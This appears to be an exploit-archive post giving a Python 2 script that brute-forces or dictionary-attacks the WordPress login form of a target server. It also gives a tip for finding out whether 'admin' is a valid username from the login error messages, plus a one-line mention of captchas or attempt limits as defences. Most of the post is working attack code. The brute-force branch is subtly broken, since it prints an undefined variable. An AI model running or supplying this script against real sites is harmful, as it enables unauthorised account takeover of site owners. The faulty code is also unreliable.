Brute forcing and dictionary attack script for Wordpress.
81bca061625125a0ce7c95bc47a1a3f6b6fedd13b426a0c36d5c8c092265875e
############## Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [ i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
node( table, string, size-1 )
def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )
if (len(sys.argv) < 3):
print "Usage : float.py <server> <user> <choice> <dico-characters>"
print "\nDefault: User is 'admin'"
print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"
else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
############## Source code #####################
The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).
To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).
if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;)
Kad'